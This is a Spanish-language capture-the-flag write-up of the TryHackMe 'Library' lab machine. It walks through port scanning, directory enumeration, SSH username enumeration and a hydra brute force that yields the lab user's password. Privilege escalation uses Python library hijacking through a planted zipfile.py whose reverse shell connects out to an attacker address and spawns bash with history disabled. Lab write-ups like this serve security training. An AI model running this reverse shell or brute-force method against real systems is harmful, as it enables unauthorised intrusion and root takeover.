Library es una maquina de TryHackMe originalmente para Bsides Guatemala, realizamos un ataque de fuerza bruta para obtener acceso. Descubrimos un script el cual ejecutamos con sudo y realizamos Python Library Hijacking para obtener acceso root.
Room
Titulo |
Library |
Descripción |
boot2root machine for FIT and bsides guatemala CTF |
Puntos |
60 |
Dificultad |
Facil |
Maker |
stuxnet |
MASSCAN & NMAP
Escaneo de puertos tcp/udp y sus servicios.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
root@kali:~/trymehack/library# masscan -p1-65535,U:1-65535 10.10.184.190 --rate=1000 -e tun0
Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-09-03 08:19:17 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 22/tcp on 10.10.184.190
Discovered open port 80/tcp on 10.10.184.190
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-03 04:22 EDT
Nmap scan report for 10.10.184.190
Host is up (0.21s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:2f:c3:47:67:06:32:04:ef:92:91:8e:05:87:d5:dc (RSA)
| 256 68:92:13:ec:94:79:dc:bb:77:02:da:99:bf:b6:9d:b0 (ECDSA)
|_ 256 43:e8:24:fc:d8:b8:d3:aa:c2:48:08:97:51:dc:5b:7d (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Welcome to Blog - Library Machine
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.64 seconds
|
HTTP
Pagina web en el puerto 80.
GOBUSTER
Utilizamos gobuster para busqueda de directorios y archivos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
root@kali:~/trymehack/library# gobuster dir -u 10.10.184.190 -w /usr/share/wordlists/dirb/common.txt -n -x php,html,txt -t 15
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.184.190
[+] Threads: 15
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php,html,txt
[+] No status: true
[+] Timeout: 10s
===============================================================
2019/09/03 04:25:57 Starting gobuster
===============================================================
/images
/index.html
/index.html
/robots.txt
/robots.txt
/server-status
===============================================================
2019/09/03 04:31:35 Finished
===============================================================
|
ROBOTS.TXT
Encontramos una pista en robots.txt
la que indica el nombre del “wordlist rockyou”.
ENUM USERS - SSH
Utilizamos OpenSSH 7.2p2 - Username Enumeration para enumerar los usuarios dentro del servicio SSH, los usuarios que enumeramos son los que aparecen como comentarios en la pagina principal y el autor del primer post.
1
2
3
4
5
|
root
www-data
meliodas
anonymous
Anonymous
|
HYDRA
Utilizamos hydra con el wordlist de rockyou y nuestro pequeño wordlist de usuarios, logrando obtener la contraseña para el usuario Meliodas
.
USER - MELIODAS
Obtenemos nuestra flag user.txt
al logearnos en el servicio ssh con las credenciales encontradas.
1
2
|
login: meliodas
password: iloveyou1
|
PRIVILEGE ESCALATION
Utilizamos sudo -l -l
y encontramos que podemos ejecutar python en cualquiera de sus versiones pasandole un script que esta dentro de nuestra carpeta principal.
El script bak.py
utiliza las librerias os y zipfile, vamos a crear el archivo zipfile.py el cual va contener una shell inversa, al ejecutarse bak.py va a ejecutar nuestro script esto sucedera porque en la variable $PATH se encuentra primero nuestra carpeta principal.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
import os
import pty
import socket
lhost = "10.8.1.72"
lport = 1337
ZIP_DEFLATED = 0
class ZipFile:
def close(*args):
return
def write(*args):
return
def __init__(self, *args):
return
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
os.putenv("HISTFILE",'/dev/null')
pty.spawn("/bin/bash")
s.close()
|
Ejecutamos con sudo:
1
|
sudo /usr/bin/python /home/meliodas/bak.py
|
Obtenemos una shell como usuario root y nuestra flag root.txt
.